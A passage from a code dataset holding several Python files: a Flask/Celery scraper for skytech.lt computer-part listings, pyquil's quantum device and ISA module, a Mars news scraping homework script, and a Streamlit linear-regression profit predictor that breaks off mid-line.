ob in a.extract_all_products()], ensure_ascii=False)\n\n@celery.task(name=\"celerytasks.motherboard\")\ndef motherboard():\n a = extractproducts.Shopv(\n 'http://www.skytech.lt/pagrindines-plokstes-priedai-pagrindines-plokstes-c-86_85_826_248.html?sand=0&pav=0&sort=5a&grp=1')\n return json.dumps([ob.__dict__ for ob in a.extract_all_products()], ensure_ascii=False)\n\n@celery.task(name=\"celerytasks.cooler\")\ndef cooler():\n a = extractproducts.Shopv(\n 'http://www.skytech.lt/ausintuvai-procesoriu-ausintuvai-c-86_85_116_115.html?sand=0&pav=0&sort=5a&grp=1')\n return json.dumps([ob.__dict__ for ob in a.extract_all_products()], ensure_ascii=False)\n\n@celery.task(name=\"celerytasks.casecooler\")\ndef casecooler():\n a = extractproducts.Shopv(\n 'http://www.skytech.lt/ausintuvai-sisteminiai-korpusu-c-86_85_116_111.html?sand=0&pav=0&sort=5a&grp=1')\n return json.dumps([ob.__dict__ for ob in a.extract_all_products()], ensure_ascii=False)\n\n@celery.task(name=\"celerytasks.ram\")\ndef ram():\n a = extractproducts.Shopv(\n 'http://www.skytech.lt/operatyvine-atmintis-stac-komp-atmintis-dimm-c-86_85_217_419.html?sand=0&pav=0&sort=5a&grp=1')\n return json.dumps([ob.__dict__ for ob in a.extract_all_products()], ensure_ascii=False)\n\n@celery.task(name=\"celerytasks.hdd\")\ndef hdd():\n a = extractproducts.Shopv(\n 'http://www.skytech.lt/vidiniai-duomenu-kaupikliai-hdd-ssd-priedai-magnetiniai-standieji-diskai-hdd-c-86_85_1407_139.html?sand=0&pav=0&sort=5a&grp=1')\n return json.dumps([ob.__dict__ for ob in a.extract_all_products()], ensure_ascii=False)\n\n@celery.task(name=\"celerytasks.ssd\")\ndef ssd():\n a = extractproducts.Shopv(\n 'http://www.skytech.lt/vidiniai-duomenu-kaupikliai-hdd-ssd-priedai-ssd-tipo-kaupikliai-solidstate-drive-c-86_85_1407_1408.html?sand=0&pav=0&sort=5a&grp=1')\n return json.dumps([ob.__dict__ for ob in a.extract_all_products()], ensure_ascii=False)\n\n@celery.task(name=\"celerytasks.gpu\")\ndef gpu():\n a = extractproducts.Shopv(\n 'http://www.skytech.lt/vaizdo-plokstes-priedai-vaizdo-plokstes-vga-c-86_85_197_284.html?sand=0&pav=0&sort=5a&grp=1')\n return json.dumps([ob.__dict__ for ob in a.extract_all_products()], ensure_ascii=False)\n\n@celery.task(name=\"celerytasks.case\")\ndef case():\n a = extractproducts.Shopv(\n 'http://www.skytech.lt/korpusai-priedai-korpusai-c-86_85_274_510.html?sand=0&pav=0&sort=5a&grp=1')\n return json.dumps([ob.__dict__ for ob in a.extract_all_products()], ensure_ascii=False)\n\n@celery.task(name=\"celerytasks.psu\")\ndef psu():\n a = extractproducts.Shopv(\n 'http://www.skytech.lt/kompiuteriu-komponentai-maitinimo-blokai-c-86_85_300.html?sand=0&pav=0&sort=5a&grp=1')\n return json.dumps([ob.__dict__ for ob in a.extract_all_products()], ensure_ascii=False)\n\n@celery.task(name=\"celerytasks.dvd\")\ndef dvd():\n a = extractproducts.Shopv(\n 'http://www.skytech.lt/optiniai-irenginiai-dvd-irenginiai-c-86_85_224_59.html?sand=&pav=&sort=&grp=')\n return json.dumps([ob.__dict__ for ob in a.extract_all_products()], ensure_ascii=False)\n\n\n\n\n\n\n@app.route('/', methods=['GET'])\ndef index_route():\n return json.dumps({\n 'endpoints': {\n 'cpu': '/cpu',\n 'motherboard': '/motherboard',\n 'cooler': '/cooler',\n 'case cooler': '/casecooler',\n 'ram': '/ram',\n 'hdd': '/hdd',\n 'ssd': '/ssd',\n 'gpu': '/gpu',\n 'case': '/case',\n 'psu': '/psu'\n }\n })\n\n\n\nfuct = {\n 'cpu': cpu,\n 'motherboard': motherboard,\n 'cooler': cooler,\n 'case cooler': casecooler,\n 'ram': ram,\n 'hdd': hdd,\n 'ssd': ssd,\n 'gpu': gpu,\n 'case': case,\n 'psu': psu,\n 'dvd' : dvd\n }\n\n\n\n\n@app.route('//')\ndef result(functionname,resultid):\n\n if fuct[functionname].AsyncResult(resultid).ready():\n return fuct[functionname].AsyncResult(resultid).result\n return jsonify(\"Loading\")\n\n\n\n\n@app.route('/')\ndef part(part):\n res=fuct[part].apply_async()\n return jsonify(result=res.task_id)\n\n\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n\n\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":5207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"96028768","text":"##############################################################################\n# Copyright 2016-2018 Rigetti Computing\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n##############################################################################\nimport warnings\nfrom abc import ABC, abstractmethod\nfrom collections import namedtuple\nfrom typing import Union, List, Tuple\n\nimport networkx as nx\nimport numpy as np\n\nfrom pyquil.noise import NoiseModel\nfrom pyquil.parameters import Parameter\nfrom pyquil.quilatom import unpack_qubit\nfrom pyquil.quilbase import Gate\n\nTHETA = Parameter(\"theta\")\n\"Used as the symbolic parameter in RZ, CPHASE gates.\"\n\nDEFAULT_QUBIT_TYPE = \"Xhalves\"\nDEFAULT_EDGE_TYPE = \"CZ\"\n\nPERFECT_FIDELITY = 1e0\nPERFECT_DURATION = 1 / 100\nDEFAULT_CZ_DURATION = 200\nDEFAULT_CZ_FIDELITY = 0.89\nDEFAULT_RX_DURATION = 50\nDEFAULT_RX_FIDELITY = 0.95\nDEFAULT_MEASURE_FIDELITY = 0.90\nDEFAULT_MEASURE_DURATION = 2000\n\nQubit = namedtuple(\"Qubit\", [\"id\", \"type\", \"dead\", \"gates\"])\nEdge = namedtuple(\"Edge\", [\"targets\", \"type\", \"dead\", \"gates\"])\n_ISA = namedtuple(\"_ISA\", [\"qubits\", \"edges\"])\nQubitSpecs = namedtuple(\"_QubitSpecs\", [\"id\", \"fRO\", \"f1QRB\", \"f1QRB_std_err\",\n \"f1Q_simultaneous_RB\", \"f1Q_simultaneous_RB_std_err\", \"T1\",\n \"T2\", \"fActiveReset\"])\nEdgeSpecs = namedtuple(\"_QubitQubitSpecs\", [\"targets\", \"fBellState\", \"fCZ\", \"fCZ_std_err\",\n \"fCPHASE\"])\n_Specs = namedtuple(\"_Specs\", [\"qubits_specs\", \"edges_specs\"])\nMeasureInfo = namedtuple(\"MeasureInfo\", [\"operator\", \"qubit\", \"target\", \"duration\", \"fidelity\"])\nGateInfo = namedtuple(\"GateInfo\", [\"operator\", \"parameters\", \"arguments\", \"duration\", \"fidelity\"])\n\n# make Qubit and Edge arguments optional\nQubit.__new__.__defaults__ = (None,) * len(Qubit._fields)\nEdge.__new__.__defaults__ = (None,) * len(Edge._fields)\nMeasureInfo.__new__.__defaults__ = (None,) * len(MeasureInfo._fields)\nGateInfo.__new__.__defaults__ = (None,) * len(GateInfo._fields)\n\n\nclass ISA(_ISA):\n \"\"\"\n Basic Instruction Set Architecture specification.\n\n :ivar Sequence[Qubit] qubits: The qubits associated with the ISA.\n :ivar Sequence[Edge] edges: The multi-qubit gates.\n \"\"\"\n\n def to_dict(self):\n \"\"\"\n Create a JSON-serializable representation of the ISA.\n\n The dictionary representation is of the form::\n\n {\n \"1Q\": {\n \"0\": {\n \"type\": \"Xhalves\"\n },\n \"1\": {\n \"type\": \"Xhalves\",\n \"dead\": True\n },\n ...\n },\n \"2Q\": {\n \"1-4\": {\n \"type\": \"CZ\"\n },\n \"1-5\": {\n \"type\": \"CZ\"\n },\n ...\n },\n ...\n }\n\n :return: A dictionary representation of self.\n :rtype: Dict[str, Any]\n \"\"\"\n\n def _maybe_configure(o, t):\n # type: (Union[Qubit,Edge], str) -> dict\n \"\"\"\n Exclude default values from generated dictionary.\n\n :param Union[Qubit,Edge] o: The object to serialize\n :param str t: The default value for ``o.type``.\n :return: d\n \"\"\"\n d = {}\n if o.gates is not None:\n d[\"gates\"] = [\n {\"operator\": i.operator,\n \"parameters\": i.parameters,\n \"arguments\": i.arguments,\n \"fidelity\": i.fidelity,\n \"duration\": i.duration} if isinstance(i, GateInfo) else\n {\"operator\": \"MEASURE\",\n \"qubit\": i.qubit,\n \"target\": i.target,\n \"duration\": i.duration,\n \"fidelity\": i.fidelity} for i in o.gates]\n if o.gates is None and o.type != t:\n d[\"type\"] = o.type\n if o.dead:\n d[\"dead\"] = o.dead\n return d\n\n return {\n \"1Q\": {\"{}\".format(q.id): _maybe_configure(q, DEFAULT_QUBIT_TYPE) for q in self.qubits},\n \"2Q\": {\"{}-{}\".format(*edge.targets): _maybe_configure(edge, DEFAULT_EDGE_TYPE)\n for edge in self.edges}\n }\n\n @staticmethod\n def from_dict(d):\n \"\"\"\n Re-create the ISA from a dictionary representation.\n\n :param Dict[str,Any] d: The dictionary representation.\n :return: The restored ISA.\n :rtype: ISA\n \"\"\"\n return ISA(\n qubits=sorted([Qubit(id=int(qid),\n type=q.get(\"type\", DEFAULT_QUBIT_TYPE),\n dead=q.get(\"dead\", False))\n for qid, q in d[\"1Q\"].items()],\n key=lambda qubit: qubit.id),\n edges=sorted([Edge(targets=[int(q) for q in eid.split('-')],\n type=e.get(\"type\", DEFAULT_EDGE_TYPE),\n dead=e.get(\"dead\", False))\n for eid, e in d[\"2Q\"].items()],\n key=lambda edge: edge.targets),\n )\n\n\ndef gates_in_isa(isa):\n \"\"\"\n Generate the full gateset associated with an ISA.\n\n :param ISA isa: The instruction set architecture for a QPU.\n :return: A sequence of Gate objects encapsulating all gates compatible with the ISA.\n :rtype: Sequence[Gate]\n \"\"\"\n gates = []\n for q in isa.qubits:\n if q.dead:\n # TODO: dead qubits may in the future lead to some implicit re-indexing\n continue\n if q.type in [\"Xhalves\"]:\n gates.extend([\n Gate(\"I\", [], [unpack_qubit(q.id)]),\n Gate(\"RX\", [np.pi / 2], [unpack_qubit(q.id)]),\n Gate(\"RX\", [-np.pi / 2], [unpack_qubit(q.id)]),\n Gate(\"RX\", [np.pi], [unpack_qubit(q.id)]),\n Gate(\"RX\", [-np.pi], [unpack_qubit(q.id)]),\n Gate(\"RZ\", [THETA], [unpack_qubit(q.id)]),\n ])\n else: # pragma no coverage\n raise ValueError(\"Unknown qubit type: {}\".format(q.type))\n\n for e in isa.edges:\n if e.dead:\n continue\n targets = [unpack_qubit(t) for t in e.targets]\n if e.type in [\"CZ\", \"ISWAP\"]:\n gates.append(Gate(e.type, [], targets))\n gates.append(Gate(e.type, [], targets[::-1]))\n elif e.type in [\"CPHASE\"]:\n gates.append(Gate(e.type, [THETA], targets))\n gates.append(Gate(e.type, [THETA], targets[::-1]))\n else: # pragma no coverage\n raise ValueError(\"Unknown edge type: {}\".format(e.type))\n return gates\n\n\nclass Specs(_Specs):\n \"\"\"\n Basic specifications for the device, such as gate fidelities and coherence times.\n\n :ivar List[QubitSpecs] qubits_specs: The specs associated with individual qubits.\n :ivar List[EdgesSpecs] edges_specs: The specs associated with edges, or qubit-qubit pairs.\n \"\"\"\n\n def f1QRBs(self):\n \"\"\"\n Get a dictionary of single-qubit randomized benchmarking fidelities (for individual gate\n operation, normalized to unity) from the specs, keyed by qubit index.\n\n :return: A dictionary of 1Q RB fidelities, normalized to unity.\n :rtype: Dict[int, float]\n \"\"\"\n return {qs.id: qs.f1QRB for qs in self.qubits_specs}\n\n def f1QRB_std_errs(self):\n \"\"\"\n Get a dictionary of the standard errors of single-qubit randomized\n benchmarking fidelities (for individual gate operation, normalized to unity)\n from the specs, keyed by qubit index.\n\n :return: A dictionary of 1Q RB fidelity standard errors, normalized to unity.\n :rtype: Dict[int, float]\n \"\"\"\n return {qs.id: qs.f1QRB_std_err for qs in self.qubits_specs}\n\n def f1Q_simultaneous_RBs(self):\n \"\"\"\n Get a dictionary of single-qubit randomized benchmarking fidelities (for simultaneous gate\n operation across the chip, normalized to unity) from the specs, keyed by qubit index.\n\n :return: A dictionary of simultaneous 1Q RB fidelities, normalized to unity.\n :rtype: Dict[int, float]\n \"\"\"\n return {qs.id: qs.f1Q_simultaneous_RB for qs in self.qubits_specs}\n\n def f1Q_simultaneous_RB_std_errs(self):\n \"\"\"\n Get a dictionary of the standard errors of single-qubit randomized\n benchmarking fidelities (for simultaneous gate operation across the chip, normalized to\n unity) from the specs, keyed by qubit index.\n\n :return: A dictionary of simultaneous 1Q RB fidelity standard errors, normalized to unity.\n :rtype: Dict[int, float]\n \"\"\"\n return {qs.id: qs.f1Q_simultaneous_RB_std_err for qs in self.qubits_specs}\n\n def fROs(self):\n \"\"\"\n Get a dictionary of single-qubit readout fidelities (normalized to unity)\n from the specs, keyed by qubit index.\n\n :return: A dictionary of RO fidelities, normalized to unity.\n :rtype: Dict[int, float]\n \"\"\"\n return {qs.id: qs.fRO for qs in self.qubits_specs}\n\n def fActiveResets(self):\n \"\"\"\n Get a dictionary of single-qubit active reset fidelities (normalized to unity) from the\n specs, keyed by qubit index.\n\n :return: A dictionary of reset fidelities, normalized to unity.\n \"\"\"\n return {qs.id: qs.fActiveReset for qs in self.qubits_specs}\n\n def T1s(self):\n \"\"\"\n Get a dictionary of T1s (in seconds) from the specs, keyed by qubit index.\n\n :return: A dictionary of T1s, in seconds.\n :rtype: Dict[int, float]\n \"\"\"\n return {qs.id: qs.T1 for qs in self.qubits_specs}\n\n def T2s(self):\n \"\"\"\n Get a dictionary of T2s (in seconds) from the specs, keyed by qubit index.\n\n :return: A dictionary of T2s, in seconds.\n :rtype: Dict[int, float]\n \"\"\"\n return {qs.id: qs.T2 for qs in self.qubits_specs}\n\n def fBellStates(self):\n \"\"\"\n Get a dictionary of two-qubit Bell state fidelities (normalized to unity)\n from the specs, keyed by targets (qubit-qubit pairs).\n\n :return: A dictionary of Bell state fidelities, normalized to unity.\n :rtype: Dict[tuple(int, int), float]\n \"\"\"\n warnings.warn(DeprecationWarning(\"fBellState device specs have been deprecated, and will \"\n \"be removed in release v2.13 (targeted for October 2019)\"))\n return {tuple(es.targets): es.fBellState for es in self.edges_specs}\n\n def fCZs(self):\n \"\"\"\n Get a dictionary of CZ fidelities (normalized to unity) from the specs,\n keyed by targets (qubit-qubit pairs).\n\n :return: A dictionary of CZ fidelities, normalized to unity.\n :rtype: Dict[tuple(int, int), float]\n \"\"\"\n return {tuple(es.targets): es.fCZ for es in self.edges_specs}\n\n def fCZ_std_errs(self):\n \"\"\"\n Get a dictionary of the standard errors of the CZ fidelities from the specs,\n keyed by targets (qubit-qubit pairs).\n\n :return: A dictionary of CZ fidelities, normalized to unity.\n :rtype: Dict[tuple(int, int), float]\n \"\"\"\n return {tuple(es.targets): es.fCZ_std_err for es in self.edges_specs}\n\n def fCPHASEs(self):\n \"\"\"\n Get a dictionary of CPHASE fidelities (normalized to unity) from the specs,\n keyed by targets (qubit-qubit pairs).\n\n :return: A dictionary of CPHASE fidelities, normalized to unity.\n :rtype: Dict[tuple(int, int), float]\n \"\"\"\n warnings.warn(DeprecationWarning(\"fCPHASE device specs have been deprecated, and will \"\n \"be removed in release v2.13 (targeted for October 2019)\"))\n return {tuple(es.targets): es.fCPHASE for es in self.edges_specs}\n\n def to_dict(self):\n \"\"\"\n Create a JSON-serializable representation of the device Specs.\n\n The dictionary representation is of the form::\n\n {\n '1Q': {\n \"0\": {\n \"f1QRB\": 0.99,\n \"f1QRB_std_err\": 0.02,\n \"T1\": 20e-6,\n ...\n },\n \"1\": {\n \"f1QRB\": 0.989,\n \"f1QRB_std_err\": 0.015,\n \"T1\": 19e-6,\n ...\n },\n ...\n },\n '2Q': {\n \"1-4\": {\n \"fBellState\": 0.93,\n \"fCZ\": 0.92,\n \"fCZ_std_err\": 0.03,\n \"fCPHASE\": 0.91\n },\n \"1-5\": {\n \"fBellState\": 0.9,\n \"fCZ\": 0.89,\n \"fCZ_std_err\": 0.05,\n \"fCPHASE\": 0.88\n },\n ...\n },\n ...\n }\n\n :return: A dctionary representation of self.\n :rtype: Dict[str, Any]\n \"\"\"\n return {\n '1Q': {\n \"{}\".format(qs.id): {\n 'f1QRB': qs.f1QRB,\n 'f1QRB_std_err': qs.f1QRB_std_err,\n 'f1Q_simultaneous_RB': qs.f1Q_simultaneous_RB,\n 'f1Q_simultaneous_RB_std_err': qs.f1Q_simultaneous_RB_std_err,\n 'fRO': qs.fRO,\n 'T1': qs.T1,\n 'T2': qs.T2,\n 'fActiveReset': qs.fActiveReset\n } for qs in self.qubits_specs\n },\n '2Q': {\n \"{}-{}\".format(*es.targets): {\n 'fBellState': es.fBellState,\n 'fCZ': es.fCZ,\n 'fCZ_std_err': es.fCZ_std_err,\n 'fCPHASE': es.fCPHASE\n } for es in self.edges_specs\n }\n }\n\n @staticmethod\n def from_dict(d):\n \"\"\"\n Re-create the Specs from a dictionary representation.\n\n :param Dict[str, Any] d: The dictionary representation.\n :return: The restored Specs.\n :rtype: Specs\n \"\"\"\n return Specs(\n qubits_specs=sorted([QubitSpecs(id=int(q),\n fRO=qspecs.get('fRO'),\n f1QRB=qspecs.get('f1QRB'),\n f1QRB_std_err=qspecs.get('f1QRB_std_err'),\n f1Q_simultaneous_RB=qspecs.get('f1Q_simultaneous_RB'),\n f1Q_simultaneous_RB_std_err=qspecs.get(\n 'f1Q_simultaneous_RB_std_err'),\n T1=qspecs.get('T1'),\n T2=qspecs.get('T2'),\n fActiveReset=qspecs.get('fActiveReset'))\n for q, qspecs in d[\"1Q\"].items()],\n key=lambda qubit_specs: qubit_specs.id),\n edges_specs=sorted([EdgeSpecs(targets=[int(q) for q in e.split('-')],\n fBellState=especs.get('fBellState'),\n fCZ=especs.get('fCZ'),\n fCZ_std_err=especs.get('fCZ_std_err'),\n fCPHASE=especs.get('fCPHASE'))\n for e, especs in d[\"2Q\"].items()],\n key=lambda edge_specs: edge_specs.targets)\n )\n\n\ndef isa_from_graph(graph: nx.Graph, oneq_type='Xhalves', twoq_type='CZ') -> ISA:\n \"\"\"\n Generate an ISA object from a NetworkX graph.\n\n :param graph: The graph\n :param oneq_type: The type of 1-qubit gate. Currently 'Xhalves'\n :param twoq_type: The type of 2-qubit gate. One of 'CZ' or 'CPHASE'.\n \"\"\"\n all_qubits = list(range(max(graph.nodes) + 1))\n qubits = [Qubit(i, type=oneq_type, dead=i not in graph.nodes) for i in all_qubits]\n edges = [Edge(sorted((a, b)), type=twoq_type, dead=False) for a, b in graph.edges]\n return ISA(qubits, edges)\n\n\ndef specs_from_graph(graph: nx.Graph):\n \"\"\"\n Generate a Specs object from a NetworkX graph with placeholder values for the actual specs.\n\n :param graph: The graph\n \"\"\"\n qspecs = [QubitSpecs(id=q, fRO=0.90, f1QRB=0.99, f1QRB_std_err=0.01,\n f1Q_simultaneous_RB=0.99, f1Q_simultaneous_RB_std_err=0.02, T1=30e-6,\n T2=30e-6, fActiveReset=0.99)\n for q in graph.nodes]\n especs = [EdgeSpecs(targets=(q1, q2), fBellState=0.90, fCZ=0.90, fCZ_std_err=0.05, fCPHASE=0.80)\n for q1, q2 in graph.edges]\n return Specs(qspecs, especs)\n\n\ndef isa_to_graph(isa: ISA) -> nx.Graph:\n \"\"\"\n Construct a NetworkX qubit topology from an ISA object.\n\n This discards information about supported gates.\n\n :param isa: The ISA.\n \"\"\"\n return nx.from_edgelist(e.targets for e in isa.edges if not e.dead)\n\n\nclass AbstractDevice(ABC):\n\n @abstractmethod\n def qubits(self):\n \"\"\"\n A sorted list of qubits in the device topology.\n \"\"\"\n\n @abstractmethod\n def qubit_topology(self) -> nx.Graph:\n \"\"\"\n The connectivity of qubits in this device given as a NetworkX graph.\n \"\"\"\n\n @abstractmethod\n def get_isa(self, oneq_type='Xhalves', twoq_type='CZ') -> ISA:\n \"\"\"\n Construct an ISA suitable for targeting by compilation.\n\n This will raise an exception if the requested ISA is not supported by the device.\n\n :param oneq_type: The family of one-qubit gates to target\n :param twoq_type: The family of two-qubit gates to target\n \"\"\"\n\n @abstractmethod\n def get_specs(self) -> Specs:\n \"\"\"\n Construct a Specs object required by compilation\n \"\"\"\n\n\nclass Device(AbstractDevice):\n \"\"\"\n A device (quantum chip) that can accept programs.\n\n Only devices that are online will actively be\n accepting new programs. In addition to the ``self._raw`` attribute, two other attributes are\n optionally constructed from the entries in ``self._raw`` -- ``isa`` and ``noise_model`` -- which\n should conform to the dictionary format required by the ``.from_dict()`` methods for ``ISA``\n and ``NoiseModel``, respectively.\n\n :ivar dict _raw: Raw JSON response from the server with additional information about the device.\n :ivar ISA isa: The instruction set architecture (ISA) for the device.\n :ivar NoiseModel noise_model: The noise model for the device.\n \"\"\"\n\n def __init__(self, name, raw):\n \"\"\"\n :param name: name of the device\n :param raw: raw JSON response from the server with additional information about this device.\n \"\"\"\n self.name = name\n self._raw = raw\n\n # TODO: Introduce distinction between supported ISAs and target ISA\n self._isa = ISA.from_dict(raw['isa']) if 'isa' in raw and raw['isa'] != {} else None\n self.specs = Specs.from_dict(raw['specs']) if raw.get('specs') else None\n self.noise_model = NoiseModel.from_dict(raw['noise_model']) \\\n if raw.get('noise_model') else None\n\n @property\n def isa(self):\n warnings.warn(\"Accessing the static ISA is deprecated. Use `get_isa`\", DeprecationWarning)\n return self._isa\n\n def qubits(self):\n return sorted(q.id for q in self._isa.qubits if not q.dead)\n\n def qubit_topology(self) -> nx.Graph:\n \"\"\"\n The connectivity of qubits in this device given as a NetworkX graph.\n \"\"\"\n return isa_to_graph(self._isa)\n\n def get_specs(self):\n return self.specs\n\n def get_isa(self, oneq_type=None, twoq_type=None) -> ISA:\n \"\"\"\n Construct an ISA suitable for targeting by compilation.\n\n This will raise an exception if the requested ISA is not supported by the device.\n \"\"\"\n if oneq_type is not None or twoq_type is not None:\n raise ValueError(\"oneq_type and twoq_type are both fatally deprecated. If you want to \"\n \"make an ISA with custom gate types, you'll have to do it by hand.\")\n\n qubits = [Qubit(id=q.id, type=None, dead=q.dead, gates=[\n MeasureInfo(operator=\"MEASURE\", qubit=q.id, target=\"_\",\n fidelity=self.specs.fROs()[q.id] or DEFAULT_MEASURE_FIDELITY,\n duration=DEFAULT_MEASURE_DURATION),\n MeasureInfo(operator=\"MEASURE\", qubit=q.id, target=None,\n fidelity=self.specs.fROs()[q.id] or DEFAULT_MEASURE_FIDELITY,\n duration=DEFAULT_MEASURE_DURATION),\n GateInfo(operator=\"RZ\", parameters=[\"_\"], arguments=[q.id],\n duration=PERFECT_DURATION, fidelity=PERFECT_FIDELITY),\n GateInfo(operator=\"RX\", parameters=[0.0], arguments=[q.id],\n duration=DEFAULT_RX_DURATION, fidelity=PERFECT_FIDELITY)] + [\n GateInfo(operator=\"RX\", parameters=[param], arguments=[q.id],\n duration=DEFAULT_RX_DURATION,\n fidelity=self.specs.f1QRBs()[q.id] or DEFAULT_RX_FIDELITY)\n for param in [np.pi, -np.pi, np.pi / 2, -np.pi / 2]])\n for q in self._isa.qubits]\n edges = [Edge(targets=e.targets, type=None, dead=e.dead, gates=[\n GateInfo(operator=\"CZ\", parameters=[], arguments=[\"_\", \"_\"],\n duration=DEFAULT_CZ_DURATION,\n fidelity=self.specs.fCZs()[tuple(e.targets)] or DEFAULT_CZ_FIDELITY)])\n for e in self._isa.edges]\n return ISA(qubits, edges)\n\n def __str__(self):\n return ''.format(self.name)\n\n def __repr__(self):\n return str(self)\n\n\nclass NxDevice(AbstractDevice):\n \"\"\"A shim over the AbstractDevice API backed by a NetworkX graph.\n\n A ``Device`` holds information about the physical device.\n Specifically, you might want to know about connectivity, available gates, performance specs,\n and more. This class implements the AbstractDevice API for devices not available via\n ``get_devices()``. Instead, the user is responsible for constructing a NetworkX\n graph which represents a chip topology.\n \"\"\"\n\n def __init__(self, topology: nx.Graph) -> None:\n self.topology = topology\n\n def qubit_topology(self):\n return self.topology\n\n def get_isa(self, oneq_type='Xhalves', twoq_type='CZ'):\n return isa_from_graph(self.topology, oneq_type=oneq_type, twoq_type=twoq_type)\n\n def get_specs(self):\n return specs_from_graph(self.topology)\n\n def qubits(self) -> List[int]:\n return sorted(self.topology.nodes)\n\n def edges(self) -> List[Tuple[int, int]]:\n return sorted(tuple(sorted(pair)) for pair in self.topology.edges) # type: ignore\n","sub_path":"pyquil/device.py","file_name":"device.py","file_ext":"py","file_size_in_byte":23738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"459529654","text":"'''\nHomework-12-Web-Scraping-and-Document-Databases\n\n'''\n# Import dependencies \nfrom splinter import Browser\nfrom bs4 import BeautifulSoup\n#Site navigation\nexecutable_path = {'executable_path': 'chromedriver'}\nbrowser = Browser('chrome', **executable_path, headless=False)\n# Defining scrape & dictionary\ndef scrape():\n scrapData = {}\n news = marsNews()\n scrapData['mars_news'] = news[0]\n scrapData['mars_paragraph'] = news[1]\n scrapData['mars_image'] = marsImage()\n scrapData['mars_facts'] = marsFacts()\n scrapData['mars_hemisphere'] = marsHem()\n return scrapData\n# NASA Mars News\ndef marsNews():\n try: \n newsURL = 'https://mars.nasa.gov/news/'\n browser.visit(newsURL)\n html = browser.html\n soup = BeautifulSoup(html, 'html.parser')\n article = soup.find('div', class_='list_text')\n newsTitle = article.find('div', class_='content_title').text\n newsParagraph = article.find('div', class_ ='article_teaser_body').text\n news = [newsTitle, newsParagraph]\n return news\n finally:\n browser.quit()\n# JPL Mars Space Images - Featured Image\ndef marsImage():\n try: \n imageURL = 'https://www.jpl.nasa.gov/spaceimages/?search=&category=Mars'\n browser.visit(imageURL)\n html = browser.html\n soup = BeautifulSoup(html, 'html.parser')\n image = soup.find('img', class_='thumb')['src']\n featured_imageURL = 'https://www.jpl.nasa.gov' + image\n return featured_imageURL\n finally:\n browser.quit()\n# Mars Facts\ndef marsFacts():\n try: \n import pandas as pd\n facts_url = 'https://space-facts.com/mars/'\n browser.visit(facts_url)\n marsData = pd.read_html(facts_url)\n marsData = pd.DataFrame(marsData[0])\n marsData.columns = ['Description', 'Value']\n marsData = marsData.set_index('Description')\n mars_facts = marsData.to_html(index = True, header =True)\n return mars_facts\n finally:\n browser.quit()\n# Mars Hemispheres\ndef marsHem():\n try: \n hemispheres_url = 'https://astrogeology.usgs.gov/search/results?q=hemisphere+enhanced&k1=target&v1=Mars'\n browser.visit(hemispheres_url)\n html = browser.html\n soup = BeautifulSoup(html, 'html.parser')\n mars_hemisphere = []\n products = soup.find('div', class_ = 'result-list' )\n hemispheres = products.find_all('div', class_='item')\n for hemisphere in hemispheres:\n title = hemisphere.find('h3').text\n title = title.replace('Enhanced', '')\n end_link = hemisphere.find('a')['href']\n image_link = 'https://astrogeology.usgs.gov/' + end_link \n browser.visit(image_link)\n html = browser.html\n soup=BeautifulSoup(html, 'html.parser')\n downloads = soup.find('div', class_='downloads')\n imageURL = downloads.find('a')['href']\n dictionary = {'title': title, 'img_url': imageURL}\n mars_hemisphere.append(dictionary)\n return mars_hemisphere\n finally:\n browser.quit()","sub_path":"scrape_mars.py","file_name":"scrape_mars.py","file_ext":"py","file_size_in_byte":3108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"242491279","text":"import streamlit as st\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom PIL import Image\r\nfrom sklearn.linear_model import LinearRegression\r\nfrom sklearn.model_selection import train_test_split\r\n\r\nst.title('Company Profit Predictor App')\r\nimg = Image.open(\"C:\\\\Users\\\\shrey\\\\Downloads\\\\profit_photo.jpg\")\r\nst.image(img ,width=450 )\r\n\r\ndf=pd.read_csv('datafinal.csv')\r\ndf.drop(['Unnamed: 0'], axis=1, inplace=True)\r\n\r\ndf['R&D Spend'] = df['R&D Spend'].astype(int)\r\ndf['Administration'] = df['Administration'].astype(int)\r\ndf['Marketing Spend'] = df['Marketing Spend'].astype(int)\r\ndf['Profit'] = df['Profit'].astype(int)\r\n\r\nif st.checkbox('Show dataset'):\r\n st.write(df)\r\n\r\na = st.sidebar.slider(\"Amount Spent on R&D?\",int(df['R&D Spend'].min()),int(df['R&D Spend'].max()),int(df['R&D Spend'].mean()))\r\nb = st.sidebar.slider(\"Amount Spent on Administration?\",int(df['Administration'] .min()),int(df['Administration'] .max()),int(df['Administration'] .mean()))\r\nc = st.sidebar.slider(\"Amount Spent on Marketing Spend ?\",int(df['Marketing Spend'] .min()),int(df['Marketing Spend'] .max()),int(df['Marketing Spend'] .mean()))\r\nd = st.sidebar.selectbox(\"Enter state\" , ('New York' , 'California' , 'Florida'))\r\n\r\n\r\nX = df.iloc[:,0:4]\r\ny = df.iloc[:,4]\r\n\r\nfrom sklearn.compose import ColumnTransformer\r\nfrom sklearn.preprocessing import OneHotEncoder\r\nct = ColumnTransformer(transformers=[('encoder', OneHotEncoder(), [3])], remainder='passthrough')\r\nX = np.array(ct.fit_transform(X))\r\n\r\nX_train , X_test , y_train , y_test = train_test_split(X,y,test_size=0.25,random_state=10)\r\n\r\n\r\nmodel = LinearRegression()\r\nmodel=model.fit(X_train,y_train)\r\npredicted=model.predict(X_test)\r\naccuracy=model.score(X_train, y_train)\r\n\r\nif d=='New York':\r\n pred = model.predict([[0,0,1,a, b, c]])\r\nelif d=='California':\r\n pred = model.predict([[1,0,0,a, b, c]])\r\nelse :\r\n pred = model.predict([[0,1,0,a, b, c]])\r\n\r\nif st.sidebar.button('RUN ME!'):\r\n st.write('Your Profit is',int(pred))\r\n st.write(\"Accuracy is \",accuracy)\r\nst.bar_chart(df['State'] 